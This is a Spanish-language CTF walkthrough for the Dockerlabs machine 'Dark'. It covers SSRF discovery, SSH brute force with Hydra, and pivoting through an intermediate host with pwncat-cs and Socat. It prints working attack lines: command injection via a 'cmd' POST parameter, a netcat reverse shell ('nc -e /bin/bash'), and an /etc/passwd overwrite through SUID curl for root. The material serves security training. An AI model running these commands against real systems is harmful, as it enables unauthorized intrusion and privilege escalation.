> For the complete documentation index, see [llms.txt](https://novahacking.gitbook.io/anonymous17/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://novahacking.gitbook.io/anonymous17/ctf/dockerlabs/dark.md).
# Dark
TAG -> Dockerlabs | CTF
Datos
* **Máquina** -> Dark
* **Dificultad** -> Medio
* **Creador** -> [makak77](https://dockerlabs.es/)
En este laboratorio comenzaré comprobando la conectividad con la máquina objetivo **10.10.10.2**. Para ello utilizo `ping`, incluyendo la opción `-R`, que solicita registrar la ruta en paquetes IPv4 cuando los equipos intermedios lo permiten:
```bash
ping -c 1 10.10.10.2 -R
```
**Resultado**
```js
PING 10.10.10.2 (10.10.10.2) 56(124) bytes of data.
64 bytes from 10.10.10.2: icmp_seq=1 ttl=64 time=0.178 ms
RR: 10.10.10.1
10.10.10.2
10.10.10.2
10.10.10.1
--- 10.10.10.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.178/0.178/0.178/0.000 ms
```
El resultado muestra que el objetivo responde a ICMP sin pérdida de paquetes y con un **TTL observado de 64**. Este valor puede sugerir un sistema Linux, pero **no identifica de forma concluyente el sistema operativo**: depende del TTL inicial y de los saltos de red. A continuación utilizaré mi función `mkt` para organizar los directorios de trabajo y realizaré un escaneo inicial con mi herramienta de **Python**.
```bash
PortScanner -i 10.10.10.2 -t 1000 -s 2 -a C V
```
**Resultado**
```js
[+] Autor: Anonymous17
[+] Targeted: 10.10.10.2
[+] (TTL -> 64): Linux
[!] Escaneo de puertos (socket):
[!] Puerto 22 abierto!
[!] Puerto 80 abierto!
[+] Port: 1000 / 1000
[+] Lista de puertos abiertos: [22, 80]
[+] Información de servicios y versiones:
[+] 22/tcp ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
[+] 80/tcp http Apache httpd 2.4.59 ((Debian))
[+] Comprobando vulnerabilidades:
[+] SSH parece seguro contra enumeración de usuarios
[+] Tecnologías detectadas en HTTP:
http://10.10.10.2:80 [200 OK] Apache[2.4.59],
Country[RESERVED][ZZ],
HTML5,
HTTPServer[Debian Linux][Apache/2.4.59 (Debian)],
IP[10.10.10.2],
Title[darkweb],
[*] Evidencia guardada en output.txt
```
El escaneo identifica dos servicios **TCP** abiertos: **SSH en el puerto 22** y **HTTP en el puerto 80**, atendido por **Apache**. La página HTTP utiliza el título **`darkweb`**. Para ampliar la información ejecutaré Nmap con detección de versiones (`-sV`) y los scripts predeterminados (`-sC`). Estos resultados ayudan a enumerar servicios, pero **no equivalen a una auditoría completa de vulnerabilidades**.
```bash
nmap -p 22,80 -sCV 10.10.10.2 -oN targeted.txt
```
**Resultado**
```js
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-30 22:20 EST
Nmap scan report for 10.10.10.2
Host is up (0.000041s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 3f:52:53:45:8b:99:34:47:19:12:64:d1:f4:d4:23:b9 (ECDSA)
|_ 256 c5:04:3d:16:6b:71:f6:a0:74:92:74:9c:a3:7a:80:57 (ED25519)
80/tcp open http Apache httpd 2.4.59 ((Debian))
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: darkweb
MAC Address: 02:42:0A:0A:0A:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.86 seconds
```
Nmap confirma las versiones y servicios identificados previamente. El siguiente paso será inspeccionar la aplicación web para conocer su funcionamiento y buscar posibles puntos de entrada.
**Página web**
La página solicita una **URL**. Para comprobar si el servidor realiza peticiones HTTP a direcciones proporcionadas por el usuario, levantaré un servidor temporal en mi máquina atacante y facilitaré su URL a la aplicación.
```bash
python -m http.server 80
```
Después de introducir `http://10.10.10.1/test`, mi servidor registra una petición **GET procedente de `10.10.10.2`**. El código **404** significa que el recurso `/test` no existe en mi servidor, pero confirma que la aplicación objetivo **sí realizó la solicitud**. Este comportamiento merece analizarse como una posible **SSRF (Server-Side Request Forgery)**, según las restricciones y el uso previsto de la funcionalidad.
```js
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.2 - - [30/Jan/2025 22:27:57] code 404, message File not found
10.10.10.2 - - [30/Jan/2025 22:27:57] "GET /test HTTP/1.1" 404 -
```
Durante la navegación observo una operación relacionada con **`process.php`**. Antes de profundizar, continuaré la enumeración de contenido mediante **fuzzing web** para identificar otros recursos accesibles.
```bash
feroxbuster --url http://10.10.10.2/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,php,html -t 200
```
**Resultado**
Feroxbuster identifica los siguientes recursos que examinaremos con más detalle:
* **process.php**
* **info**
* **index.html**
El recurso **`info`** resulta especialmente interesante porque contiene un mensaje que parece aportar pistas sobre la red interna del laboratorio.
```js
Toni te recuerdo que he publicado las bases de datos de telefonica,la dgt y el banco santander en mi pagina ilegal (20.20.20.3)
```
Al visitar `http://10.10.10.2/info`, encuentro una referencia al servidor **`20.20.20.3`**. Mi máquina atacante utiliza la dirección **`10.10.10.1`** y puede comunicarse con **`10.10.10.2`**, pero no tiene conectividad directa comprobada hacia **`20.20.20.3`**. Voy a probar si la funcionalidad que solicita URLs puede acceder desde el servidor a ese destino interno.
La aplicación de **`10.10.10.2`** consigue recuperar contenido de **`http://20.20.20.3`**, mientras que mi equipo no puede hacerlo directamente. Esto demuestra **alcance HTTP desde el servidor intermedio**, pero todavía no identifica por sí solo todas sus interfaces o rutas. Nuestro objetivo será utilizar **`10.10.10.2` como punto de pivote** para acceder a **`20.20.20.3`**. En la nota también aparece el usuario **`toni`**; dentro del entorno CTF comprobaré si utiliza una contraseña débil mediante **Hydra**.
```bash
hydra -l toni -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt ssh://10.10.10.2 -t 4 -vV
```
**Resultado**
La prueba con Hydra devuelve la contraseña **`banana`** para **`toni`** en este laboratorio. Con esas credenciales iniciaré una sesión **SSH** mediante **pwncat-cs**, que me permitirá gestionar la conexión y realizar las siguientes comprobaciones.
Abro la interfaz de comandos de **pwncat-cs** y establezco la conexión por **SSH** usando las credenciales obtenidas:
```python
connect ssh://toni:banana@10.10.10.2:22
```
Ya tenemos acceso a la **máquina intermedia (`10.10.10.2`)**. Ahora comprobaré si dispone de conectividad hacia otra red, inspeccionando sus interfaces y direcciones IP desde la sesión SSH.
La primera comprobación muestra dos direcciones IP. También podemos utilizar los módulos de **pwncat-cs** para enumerar las interfaces y contrastar la información.
La enumeración confirma que la máquina intermedia participa en dos segmentos de red. Como nuestro objetivo se encuentra en **`20.20.20.3`**, no necesitamos escalar privilegios en esta primera máquina para continuar con las pruebas mostradas. Herramientas como **Chisel** podrían proporcionar un túnel hacia la red interna, pero en este caso ya podemos enviar solicitudes **desde la sesión SSH de la máquina intermedia**, que tiene conectividad al segundo servidor. Por tanto, primero examinaré su aplicación web sin desplegar otro túnel.
En el formulario del segundo servidor aparece un parámetro llamado **`cmd`**, que podría estar relacionado con la ejecución de órdenes. Como mi máquina no llega directamente a **`20.20.20.3`**, enviaré una solicitud **POST con `curl` desde `10.10.10.2`** para comprobar si el servidor interpreta ese parámetro como un comando.
```bash
curl -X POST -d "cmd= hostname -I" http://20.20.20.3/process.php ; echo
```
La respuesta muestra que el servidor ejecuta la orden indicada mediante **`cmd`**, lo que confirma una **ejecución remota de comandos (RCE)** en este laboratorio. Para obtener una \[\[Reverse Shells]], necesito que **la máquina 2 (`20.20.20.3`)** pueda conectar a un destino accesible en su red. Utilizaré **Socat en la máquina intermedia** como relé TCP hacia el listener de mi equipo, transfiriendo el ejecutable con **pwncat-cs**.
Transfiero el binario de **Socat** con la función **`upload`** de pwncat-cs y le asigno permisos de ejecución. Después preparo un listener en mi máquina atacante, en el **puerto 111**, para recibir la conexión reenviada. Conviene recordar que **escuchar en puertos inferiores a 1024 puede requerir privilegios o capacidades especiales**, según la configuración del sistema.
Desde la shell de la **máquina 1 (`10.10.10.2`)** ejecutaré el siguiente comando de Socat para crear el relé TCP:
```js
./socat tcp-l:111,fork,reuseaddr tcp:10.10.10.1:111 2>/dev/null & disown
```
El comando hace que **la máquina 1 escuche en el puerto 111** y reenvíe cada conexión recibida hacia **`10.10.10.1:111`**, donde está mi listener. La opción **`fork`** permite atender conexiones mediante procesos secundarios y **`reuseaddr`** facilita reutilizar la dirección de escucha. **Socat no crea una ruta IP general**: simplemente enlaza dos conexiones TCP. Con este relé activo, enviaré desde la máquina 1 la petición que provoca la \[\[Reverse Shells]] del segundo servidor.
```bash
curl -X POST -d "cmd= nc -e /bin/bash 20.20.20.2 111" http://20.20.20.3/process.php
```
Para organizar la prueba, ejecutaré esa solicitud dentro de un script con una espera de **3 segundos** y le daré permisos mediante `chmod`, tal como se muestra en la captura.
El listener recibe una **reverse shell originada en la máquina 2 (`20.20.20.3`)**. La conexión que observa mi equipo puede aparecer asociada a **`10.10.10.2`** porque **Socat abre una segunda conexión TCP desde la máquina intermedia**. Para identificar el sistema que ejecuta realmente la shell, comprobaré el usuario y las interfaces desde **pwncat-cs**.
Las comprobaciones muestran al usuario **`www-data`** y la dirección **`20.20.20.3`**, lo que confirma que la shell corresponde al segundo servidor. Ahora continuaré con la enumeración de privilegios locales.
No conocemos una contraseña para **`www-data`**, lo que limita determinadas comprobaciones con `sudo`. Sin embargo, encontramos **`curl` con el bit SUID**, una configuración especialmente relevante: un ejecutable SUID puede realizar ciertas operaciones con el **UID efectivo de su propietario**, dependiendo de cómo gestione los privilegios. Utilizaré **searchbins** para estudiar las posibilidades documentadas, sin asumir que encontrar SUID significa obtener automáticamente root.
La información recopilada sugiere que podemos **aprovechar los permisos del binario `curl` para escribir un archivo protegido**. En este laboratorio analizaremos esa posibilidad, comprobando los permisos efectivos y el resultado de cada paso.
Después de copiar **`/etc/passwd`**, editaré la copia con **Nano**. El fragmento mostrado a continuación ilustra el cambio relevante en la entrada de **root**, pero **no debe sustituir el archivo completo ni eliminar las demás cuentas**. Manipular `/etc/passwd` puede inutilizar la autenticación del sistema; esta prueba debe limitarse al entorno desechable del CTF y requiere conservar una copia íntegra.
```js
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
```
Guardo el archivo en Nano mediante **Ctrl + O**, confirmo con **Enter** y salgo del editor. Antes de escribir cambios sobre el sistema conviene comprobar que el archivo resultante conserva el formato y las entradas originales.
Por último, ejecutaré las operaciones restantes del laboratorio para intentar aplicar la modificación y comprobar su efecto sobre la autenticación.
En esta prueba, la modificación de la entrada de **root** en **`/etc/passwd`** permite continuar con la escalada de privilegios mostrada en las capturas. El campo vacío de contraseña **no garantiza el acceso en todos los sistemas**, porque intervienen también **PAM, `/etc/shadow` y las políticas de autenticación**. Por tanto, la evidencia definitiva es la comprobación del **UID efectivo** tras el cambio, no solamente el contenido del archivo.
Con esta comprobación concluimos el laboratorio de **pivoting**, en el que utilizamos **pwncat-cs** para gestionar las sesiones y **Socat** para reenviar la conexión de la máquina interna. Durante la práctica utilicé **Ctrl + D** para entrar o salir de algunas sesiones de \[\[Reverse Shells]]; su efecto depende de la herramienta y la sesión activa, por lo que no debe interpretarse como un atajo universal de pwncat-cs.
